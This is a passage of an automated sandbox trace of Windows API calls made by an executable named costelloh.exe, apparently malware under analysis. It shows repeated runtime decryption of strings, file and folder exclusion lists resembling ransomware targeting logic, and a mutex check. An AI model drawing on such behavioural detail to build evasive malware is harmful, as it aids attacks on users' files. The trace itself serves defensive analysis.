	[0052.045] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x80) returned 0xa152c8
	[0052.045] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10) returned 0xa18630
	[0052.046] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x82) returned 0xa11288
	[0052.046] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10) returned 0xa18660
	[0052.046] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x4) returned 0xa11480
	[0052.046] CryptGenRandom (in: hProv=0x18960, dwLen=0x55, pbBuffer=0x95fc22 | out: pbBuffer=0x95fc22) returned 1
	[0052.046] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10) returned 0xa18678
	[0052.046] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x80) returned 0xa18b38
	[0052.046] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10) returned 0xa18588
	[0052.046] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x2) returned 0xa113b0
	[0052.046] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x4) returned 0xa11470
	[0052.046] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10) returned 0xa18708
	[0052.046] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x80) returned 0xa18bc0
	[0052.046] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10) returned 0xa186d8
	[0052.046] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x4) returned 0xa11510
	[0052.046] RtlReAllocateHeap (Heap=0xa10000, Flags=0x0, Ptr=0xa113b0, Size=0x82) returned 0xa18c48
	[0052.046] RtlReAllocateHeap (Heap=0xa10000, Flags=0x0, Ptr=0xa11510, Size=0x100) returned 0xa18cd8
	[0052.046] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10) returned 0xa186f0
	[0052.046] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x82) returned 0xa18de0
	[0052.046] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10) returned 0xa185b8
	[0052.046] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x82) returned 0xa18e70
	[0052.046] RtlReAllocateHeap (Heap=0xa10000, Flags=0x0, Ptr=0xa18c48, Size=0x104) returned 0xa18f00
	[0052.046] RtlReAllocateHeap (Heap=0xa10000, Flags=0x0, Ptr=0xa18cd8, Size=0x200) returned 0xa19010
	[0052.047] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11470 | out: hHeap=0xa10000) returned 1
	[0052.047] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19010 | out: hHeap=0xa10000) returned 1
	[0052.047] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa186d8 | out: hHeap=0xa10000) returned 1
	[0052.047] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa18b38 | out: hHeap=0xa10000) returned 1
	[0052.047] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa18678 | out: hHeap=0xa10000) returned 1
	[0052.047] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa18bc0 | out: hHeap=0xa10000) returned 1
	[0052.047] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa18708 | out: hHeap=0xa10000) returned 1
	[0052.047] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa18f00 | out: hHeap=0xa10000) returned 1
	[0052.047] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa18588 | out: hHeap=0xa10000) returned 1
	[0052.047] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa18de0 | out: hHeap=0xa10000) returned 1
	[0052.047] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa186f0 | out: hHeap=0xa10000) returned 1
	[0052.047] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa18e70 | out: hHeap=0xa10000) returned 1
	[0052.047] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa185b8 | out: hHeap=0xa10000) returned 1
	[0052.047] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa10580 | out: hHeap=0xa10000) returned 1
	[0052.047] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa18618 | out: hHeap=0xa10000) returned 1
	[0052.047] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11288 | out: hHeap=0xa10000) returned 1
	[0052.047] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa18630 | out: hHeap=0xa10000) returned 1
	[0052.047] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152c8 | out: hHeap=0xa10000) returned 1
	[0052.047] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa18570 | out: hHeap=0xa10000) returned 1
	[0052.047] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11480 | out: hHeap=0xa10000) returned 1
	[0052.047] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa18660 | out: hHeap=0xa10000) returned 1
	[0052.047] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa15408 | out: hHeap=0xa10000) returned 1
	[0052.047] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa15438 | out: hHeap=0xa10000) returned 1
	[0052.047] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0xa4) returned 0xa18b38
	[0052.047] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x5a) returned 0xa152c8
	[0052.047] RtlReAllocateHeap (Heap=0xa10000, Flags=0x0, Ptr=0xa152c8, Size=0xb2) returned 0xa18be8
	[0052.047] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10) returned 0xa185b8
	[0052.048] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0xb40) returned 0xa18ca8
	[0052.048] CryptImportKey (in: hProv=0x14420, pbData=0x95fb54, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fbbc | out: phKey=0x95fbbc*=0x225d0) returned 1
	[0052.048] CryptSetKeyParam (hKey=0x225d0, dwParam=0x1, pbData=0x95fba4, dwFlags=0x0) returned 1
	[0052.048] CryptDecrypt (in: hKey=0x225d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa18ca8, pdwDataLen=0x95fb70 | out: pbData=0xa18ca8, pdwDataLen=0x95fb70) returned 1
	[0052.048] CryptDestroyKey (hKey=0x225d0) returned 1
	[0052.048] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa10580
	[0052.048] CryptImportKey (in: hProv=0x14420, pbData=0x95fb4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fbb4 | out: phKey=0x95fbb4*=0x22390) returned 1
	[0052.048] CryptSetKeyParam (hKey=0x22390, dwParam=0x1, pbData=0x95fb9c, dwFlags=0x0) returned 1
	[0052.048] CryptDecrypt (in: hKey=0x22390, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa10580, pdwDataLen=0x95fb68 | out: pbData=0xa10580, pdwDataLen=0x95fb68) returned 1
	[0052.048] CryptDestroyKey (hKey=0x22390) returned 1
	[0052.048] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa197f0
	[0052.048] CryptImportKey (in: hProv=0x14420, pbData=0x95fb24, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fb8c | out: phKey=0x95fb8c*=0x22690) returned 1
	[0052.048] CryptSetKeyParam (hKey=0x22690, dwParam=0x1, pbData=0x95fb74, dwFlags=0x0) returned 1
	[0052.048] CryptDecrypt (in: hKey=0x22690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa197f0, pdwDataLen=0x95fb40 | out: pbData=0xa197f0, pdwDataLen=0x95fb40) returned 1
	[0052.048] CryptDestroyKey (hKey=0x22690) returned 1
	[0052.048] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x84) returned 0xa152c8
	[0052.048] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x84) returned 0xa1b080
	[0052.048] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa1b400
	[0052.048] CryptImportKey (in: hProv=0x14420, pbData=0x95fafc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fb64 | out: phKey=0x95fb64*=0x226d0) returned 1
	[0052.048] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x95fb4c, dwFlags=0x0) returned 1
	[0052.048] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa1b400, pdwDataLen=0x95fb18 | out: pbData=0xa1b400, pdwDataLen=0x95fb18) returned 1
	[0052.048] CryptDestroyKey (hKey=0x226d0) returned 1
	[0052.048] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa1b400 | out: hHeap=0xa10000) returned 1
	[0052.048] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0xa152c8, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42
	[0052.048] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa1b080 | out: hHeap=0xa10000) returned 1
	[0052.048] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa197f0 | out: hHeap=0xa10000) returned 1
	[0052.048] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x60) returned 0xa11288
	[0052.048] CryptImportKey (in: hProv=0x14420, pbData=0x95fb20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fb88 | out: phKey=0x95fb88*=0x22690) returned 1
	[0052.048] CryptSetKeyParam (hKey=0x22690, dwParam=0x1, pbData=0x95fb70, dwFlags=0x0) returned 1
	[0052.048] CryptDecrypt (in: hKey=0x22690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa11288, pdwDataLen=0x95fb3c | out: pbData=0xa11288, pdwDataLen=0x95fb3c) returned 1
	[0052.048] CryptDestroyKey (hKey=0x22690) returned 1
	[0052.049] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x5c) returned 0xa197f0
	[0052.049] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x5c) returned 0xa1b400
	[0052.049] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa1b468
	[0052.049] CryptImportKey (in: hProv=0x14420, pbData=0x95faf8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fb60 | out: phKey=0x95fb60*=0x225d0) returned 1
	[0052.049] CryptSetKeyParam (hKey=0x225d0, dwParam=0x1, pbData=0x95fb48, dwFlags=0x0) returned 1
	[0052.049] CryptDecrypt (in: hKey=0x225d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa1b468, pdwDataLen=0x95fb14 | out: pbData=0xa1b468, pdwDataLen=0x95fb14) returned 1
	[0052.049] CryptDestroyKey (hKey=0x225d0) returned 1
	[0052.049] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa1b468 | out: hHeap=0xa10000) returned 1
	[0052.049] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;Program Files;Program Files (x86);", lpDst=0xa197f0, nSize=0x2e | out: lpDst="C:\\Windows;Program Files;Program Files (x86);") returned 0x2e
	[0052.049] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa1b400 | out: hHeap=0xa10000) returned 1
	[0052.049] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11288 | out: hHeap=0xa10000) returned 1
	[0052.049] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20a) returned 0xa1b400
	[0052.049] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20a) returned 0xa1b618
	[0052.049] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xa1b618, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\costelloh.exe")) returned 0x25
	[0052.049] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa1b618 | out: hHeap=0xa10000) returned 1
	[0052.049] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0xb38) returned 0xa1b618
	[0052.049] GetLastError () returned 0x0
	[0052.049] GetLastError () returned 0x0
	[0052.049] GetLastError () returned 0x0
	[0052.049] GetLastError () returned 0x0
	[0052.049] GetLastError () returned 0x0
	[0052.049] GetLastError () returned 0x0
	[0052.049] GetLastError () returned 0x0
	[0052.049] GetLastError () returned 0x0
	[0052.050] GetLastError () returned 0x0
	[0052.050] GetLastError () returned 0x0
	[0052.050] GetLastError () returned 0x0
	[0052.050] GetLastError () returned 0x0
	[0052.050] GetLastError () returned 0x0
	[0052.050] GetLastError () returned 0x0
	[0052.050] GetLastError () returned 0x0
	[0052.050] GetLastError () returned 0x0
	[0052.050] GetLastError () returned 0x0
	[0052.050] GetLastError () returned 0x0
	[0052.050] GetLastError () returned 0x0
	[0052.050] GetLastError () returned 0x0
	[0052.050] GetLastError () returned 0x0
	[0052.050] GetLastError () returned 0x0
	[0052.050] GetLastError () returned 0x0
	[0052.050] GetLastError () returned 0x0
	[0052.050] GetLastError () returned 0x0
	[0052.050] GetLastError () returned 0x0
	[0052.050] GetLastError () returned 0x0
	[0052.050] GetLastError () returned 0x0
	[0052.050] GetLastError () returned 0x0
	[0052.050] GetLastError () returned 0x0
	[0052.050] GetLastError () returned 0x0
	[0052.050] GetLastError () returned 0x0
	[0052.050] GetLastError () returned 0x0
	[0052.050] GetLastError () returned 0x0
	[0052.051] GetLastError () returned 0x0
	[0052.051] GetLastError () returned 0x0
	[0052.051] GetLastError () returned 0x0
	[0052.051] GetLastError () returned 0x0
	[0052.051] GetLastError () returned 0x0
	[0052.051] GetLastError () returned 0x0
	[0052.051] GetLastError () returned 0x0
	[0052.051] GetLastError () returned 0x0
	[0052.051] GetLastError () returned 0x0
	[0052.051] GetLastError () returned 0x0
	[0052.051] GetLastError () returned 0x0
	[0052.051] GetLastError () returned 0x0
	[0052.051] GetLastError () returned 0x0
	[0052.051] GetLastError () returned 0x0
	[0052.051] GetLastError () returned 0x0
	[0052.051] GetLastError () returned 0x0
	[0052.051] GetLastError () returned 0x0
	[0052.051] GetLastError () returned 0x0
	[0052.051] GetLastError () returned 0x0
	[0052.051] GetLastError () returned 0x0
	[0052.051] GetLastError () returned 0x0
	[0052.051] GetLastError () returned 0x0
	[0052.051] GetLastError () returned 0x0
	[0052.051] GetLastError () returned 0x0
	[0052.051] GetLastError () returned 0x0
	[0052.051] GetLastError () returned 0x0
	[0052.051] GetLastError () returned 0x0
	[0052.051] GetLastError () returned 0x0
	[0052.052] GetLastError () returned 0x0
	[0052.052] GetLastError () returned 0x0
	[0052.052] GetLastError () returned 0x0
	[0052.052] GetLastError () returned 0x0
	[0052.052] GetLastError () returned 0x0
	[0052.052] GetLastError () returned 0x0
	[0052.052] GetLastError () returned 0x0
	[0052.052] GetLastError () returned 0x0
	[0052.052] GetLastError () returned 0x0
	[0052.052] GetLastError () returned 0x0
	[0052.052] GetLastError () returned 0x0
	[0052.052] GetLastError () returned 0x0
	[0052.052] GetLastError () returned 0x0
	[0052.052] GetLastError () returned 0x0
	[0052.052] GetLastError () returned 0x0
	[0052.052] GetLastError () returned 0x0
	[0052.052] GetLastError () returned 0x0
	[0052.052] GetLastError () returned 0x0
	[0052.052] GetLastError () returned 0x0
	[0052.052] GetLastError () returned 0x0
	[0052.052] GetLastError () returned 0x0
	[0052.052] GetLastError () returned 0x0
	[0052.052] GetLastError () returned 0x0
	[0052.052] GetLastError () returned 0x0
	[0052.052] GetLastError () returned 0x0
	[0052.052] GetLastError () returned 0x0
	[0052.052] GetLastError () returned 0x0
	[0052.052] GetLastError () returned 0x0
	[0052.053] GetLastError () returned 0x0
	[0052.053] GetLastError () returned 0x0
	[0052.053] GetLastError () returned 0x0
	[0052.053] GetLastError () returned 0x0
	[0052.053] GetLastError () returned 0x0
	[0052.053] GetLastError () returned 0x0
	[0052.053] GetLastError () returned 0x0
	[0052.053] GetLastError () returned 0x0
	[0052.053] GetLastError () returned 0x0
	[0052.053] GetLastError () returned 0x0
	[0052.053] GetLastError () returned 0x0
	[0052.053] GetLastError () returned 0x0
	[0052.053] GetLastError () returned 0x0
	[0052.053] GetLastError () returned 0x0
	[0052.053] GetLastError () returned 0x0
	[0052.053] GetLastError () returned 0x0
	[0052.053] GetLastError () returned 0x0
	[0052.053] GetLastError () returned 0x0
	[0052.053] GetLastError () returned 0x0
	[0052.053] GetLastError () returned 0x0
	[0052.053] GetLastError () returned 0x0
	[0052.053] GetLastError () returned 0x0
	[0052.053] GetLastError () returned 0x0
	[0052.053] GetLastError () returned 0x0
	[0052.053] GetLastError () returned 0x0
	[0052.053] GetLastError () returned 0x0
	[0052.053] GetLastError () returned 0x0
	[0052.053] GetLastError () returned 0x0
	[0052.053] GetLastError () returned 0x0
	[0052.054] GetLastError () returned 0x0
	[0052.054] GetLastError () returned 0x0
	[0052.054] GetLastError () returned 0x0
	[0052.054] GetLastError () returned 0x0
	[0052.054] GetLastError () returned 0x0
	[0052.054] GetLastError () returned 0x0
	[0052.054] GetLastError () returned 0x0
	[0052.054] GetLastError () returned 0x0
	[0052.054] GetLastError () returned 0x0
	[0052.054] GetLastError () returned 0x0
	[0052.054] GetLastError () returned 0x0
	[0052.054] GetLastError () returned 0x0
	[0052.054] GetLastError () returned 0x0
	[0052.054] GetLastError () returned 0x0
	[0052.054] GetLastError () returned 0x0
	[0052.054] GetLastError () returned 0x0
	[0052.054] GetLastError () returned 0x0
	[0052.054] GetLastError () returned 0x0
	[0052.054] GetLastError () returned 0x0
	[0052.054] GetLastError () returned 0x0
	[0052.054] GetLastError () returned 0x0
	[0052.054] GetLastError () returned 0x0
	[0052.054] GetLastError () returned 0x0
	[0052.054] GetLastError () returned 0x0
	[0052.054] GetLastError () returned 0x0
	[0052.054] GetLastError () returned 0x0
	[0052.054] GetLastError () returned 0x0
	[0052.054] GetLastError () returned 0x0
	[0052.055] GetLastError () returned 0x0
	[0052.055] GetLastError () returned 0x0
	[0052.055] GetLastError () returned 0x0
	[0052.055] GetLastError () returned 0x0
	[0052.055] GetLastError () returned 0x0
	[0052.055] GetLastError () returned 0x0
	[0052.055] GetLastError () returned 0x0
	[0052.055] GetLastError () returned 0x0
	[0052.055] GetLastError () returned 0x0
	[0052.055] GetLastError () returned 0x0
	[0052.055] GetLastError () returned 0x0
	[0052.055] GetLastError () returned 0x0
	[0052.055] GetLastError () returned 0x0
	[0052.055] GetLastError () returned 0x0
	[0052.055] GetLastError () returned 0x0
	[0052.055] GetLastError () returned 0x0
	[0052.055] GetLastError () returned 0x0
	[0052.055] GetLastError () returned 0x0
	[0052.055] GetLastError () returned 0x0
	[0052.055] GetLastError () returned 0x0
	[0052.055] GetLastError () returned 0x0
	[0052.055] GetLastError () returned 0x0
	[0052.055] GetLastError () returned 0x0
	[0052.055] GetLastError () returned 0x0
	[0052.055] GetLastError () returned 0x0
	[0052.055] GetLastError () returned 0x0
	[0052.055] GetLastError () returned 0x0
	[0052.055] GetLastError () returned 0x0
	[0052.055] GetLastError () returned 0x0
	[0052.056] GetLastError () returned 0x0
	[0052.056] GetLastError () returned 0x0
	[0052.056] GetLastError () returned 0x0
	[0052.056] GetLastError () returned 0x0
	[0052.056] GetLastError () returned 0x0
	[0052.056] GetLastError () returned 0x0
	[0052.056] GetLastError () returned 0x0
	[0052.056] GetLastError () returned 0x0
	[0052.056] GetLastError () returned 0x0
	[0052.056] GetLastError () returned 0x0
	[0052.056] GetLastError () returned 0x0
	[0052.056] GetLastError () returned 0x0
	[0052.056] GetLastError () returned 0x0
	[0052.056] GetLastError () returned 0x0
	[0052.056] GetLastError () returned 0x0
	[0052.056] GetLastError () returned 0x0
	[0052.056] GetLastError () returned 0x0
	[0052.056] GetLastError () returned 0x0
	[0052.056] GetLastError () returned 0x0
	[0052.056] GetLastError () returned 0x0
	[0052.056] GetLastError () returned 0x0
	[0052.056] GetLastError () returned 0x0
	[0052.056] GetLastError () returned 0x0
	[0052.056] GetLastError () returned 0x0
	[0052.056] GetLastError () returned 0x0
	[0052.056] GetLastError () returned 0x0
	[0052.056] GetLastError () returned 0x0
	[0052.056] GetLastError () returned 0x0
	[0052.056] GetLastError () returned 0x0
	[0052.057] GetLastError () returned 0x0
	[0052.057] GetLastError () returned 0x0
	[0052.057] GetLastError () returned 0x0
	[0052.057] GetLastError () returned 0x0
	[0052.057] GetLastError () returned 0x0
	[0052.057] GetLastError () returned 0x0
	[0052.057] GetLastError () returned 0x0
	[0052.057] GetLastError () returned 0x0
	[0052.057] GetLastError () returned 0x0
	[0052.057] GetLastError () returned 0x0
	[0052.057] GetLastError () returned 0x0
	[0052.057] GetLastError () returned 0x0
	[0052.057] GetLastError () returned 0x0
	[0052.057] GetLastError () returned 0x0
	[0052.057] GetLastError () returned 0x0
	[0052.057] GetLastError () returned 0x0
	[0052.057] GetLastError () returned 0x0
	[0052.057] GetLastError () returned 0x0
	[0052.057] GetLastError () returned 0x0
	[0052.057] GetLastError () returned 0x0
	[0052.057] GetLastError () returned 0x0
	[0052.057] GetLastError () returned 0x0
	[0052.057] GetLastError () returned 0x0
	[0052.057] GetLastError () returned 0x0
	[0052.057] GetLastError () returned 0x0
	[0052.057] GetLastError () returned 0x0
	[0052.057] GetLastError () returned 0x0
	[0052.057] GetLastError () returned 0x0
	[0052.057] GetLastError () returned 0x0
	[0052.058] GetLastError () returned 0x0
	[0052.058] GetLastError () returned 0x0
	[0052.058] GetLastError () returned 0x0
	[0052.058] GetLastError () returned 0x0
	[0052.058] GetLastError () returned 0x0
	[0052.058] GetLastError () returned 0x0
	[0052.058] GetLastError () returned 0x0
	[0052.058] GetLastError () returned 0x0
	[0052.058] GetLastError () returned 0x0
	[0052.058] GetLastError () returned 0x0
	[0052.058] GetLastError () returned 0x0
	[0052.058] GetLastError () returned 0x0
	[0052.058] GetLastError () returned 0x0
	[0052.058] GetLastError () returned 0x0
	[0052.058] GetLastError () returned 0x0
	[0052.058] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa19858
	[0052.058] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x86) returned 0xa1a930
	[0052.058] RtlReAllocateHeap (Heap=0xa10000, Flags=0x0, Ptr=0xa1a930, Size=0xa2) returned 0xa1c158
	[0052.058] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x5e) returned 0xa11288
	[0052.061] WaitForMultipleObjects (nCount=0x3, lpHandles=0x95fd80*=0x1f8, bWaitAll=1, dwMilliseconds=0xffffffff) 

Thread:
	id = 6
	os_tid = 0x504


Thread:
	id = 7
	os_tid = 0x474

	[0051.780] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa11228
	[0051.780] CryptImportKey (in: hProv=0x14420, pbData=0x116f9e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa4c | out: phKey=0x116fa4c*=0x222d0) returned 1
	[0051.780] CryptSetKeyParam (hKey=0x222d0, dwParam=0x1, pbData=0x116fa34, dwFlags=0x0) returned 1
	[0051.780] CryptDecrypt (in: hKey=0x222d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa11228, pdwDataLen=0x116fa00 | out: pbData=0xa11228, pdwDataLen=0x116fa00) returned 1
	[0051.780] CryptDestroyKey (hKey=0x222d0) returned 1
	[0051.781] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa11508
	[0051.781] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa112d0
	[0051.781] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa15b28
	[0051.781] CryptImportKey (in: hProv=0x14420, pbData=0x116f9bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa24 | out: phKey=0x116fa24*=0x225d0) returned 1
	[0051.781] CryptSetKeyParam (hKey=0x225d0, dwParam=0x1, pbData=0x116fa0c, dwFlags=0x0) returned 1
	[0051.781] CryptDecrypt (in: hKey=0x225d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa15b28, pdwDataLen=0x116f9d8 | out: pbData=0xa15b28, pdwDataLen=0x116f9d8) returned 1
	[0051.781] CryptDestroyKey (hKey=0x225d0) returned 1
	[0051.781] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa15b28 | out: hHeap=0xa10000) returned 1
	[0051.781] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa11508, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0051.781] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa112d0 | out: hHeap=0xa10000) returned 1
	[0051.781] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11228 | out: hHeap=0xa10000) returned 1
	[0051.781] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x116fa8c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x116fa8c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0051.781] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11508 | out: hHeap=0xa10000) returned 1
	[0051.781] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa112d0
	[0051.781] CryptImportKey (in: hProv=0x14420, pbData=0x116fa18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa80 | out: phKey=0x116fa80*=0x22950) returned 1
	[0051.781] CryptSetKeyParam (hKey=0x22950, dwParam=0x1, pbData=0x116fa68, dwFlags=0x0) returned 1
	[0051.781] CryptDecrypt (in: hKey=0x22950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa112d0, pdwDataLen=0x116fa34 | out: pbData=0xa112d0, pdwDataLen=0x116fa34) returned 1
	[0051.781] CryptDestroyKey (hKey=0x22950) returned 1
	[0051.781] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x34) returned 0xa15b28
	[0051.781] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x228
	[0051.781] WaitForSingleObject (hHandle=0x228, dwMilliseconds=0x0) returned 0x102
	[0051.781] CloseHandle (hObject=0x228) returned 1
	[0051.781] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa112d0 | out: hHeap=0xa10000) returned 1
	[0051.781] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa15b28 | out: hHeap=0xa10000) returned 1
	[0051.782] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa11228
	[0051.782] CryptImportKey (in: hProv=0x14420, pbData=0x116f9e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa4c | out: phKey=0x116fa4c*=0x22990) returned 1
	[0051.782] CryptSetKeyParam (hKey=0x22990, dwParam=0x1, pbData=0x116fa34, dwFlags=0x0) returned 1
	[0051.782] CryptDecrypt (in: hKey=0x22990, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa11228, pdwDataLen=0x116fa00 | out: pbData=0xa11228, pdwDataLen=0x116fa00) returned 1
	[0051.782] CryptDestroyKey (hKey=0x22990) returned 1
	[0051.782] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa11508
	[0051.782] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa112d0
	[0051.782] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa15b28
	[0051.782] CryptImportKey (in: hProv=0x14420, pbData=0x116f9bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa24 | out: phKey=0x116fa24*=0x22750) returned 1
	[0051.782] CryptSetKeyParam (hKey=0x22750, dwParam=0x1, pbData=0x116fa0c, dwFlags=0x0) returned 1
	[0051.782] CryptDecrypt (in: hKey=0x22750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa15b28, pdwDataLen=0x116f9d8 | out: pbData=0xa15b28, pdwDataLen=0x116f9d8) returned 1
	[0051.782] CryptDestroyKey (hKey=0x22750) returned 1
	[0051.782] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa15b28 | out: hHeap=0xa10000) returned 1
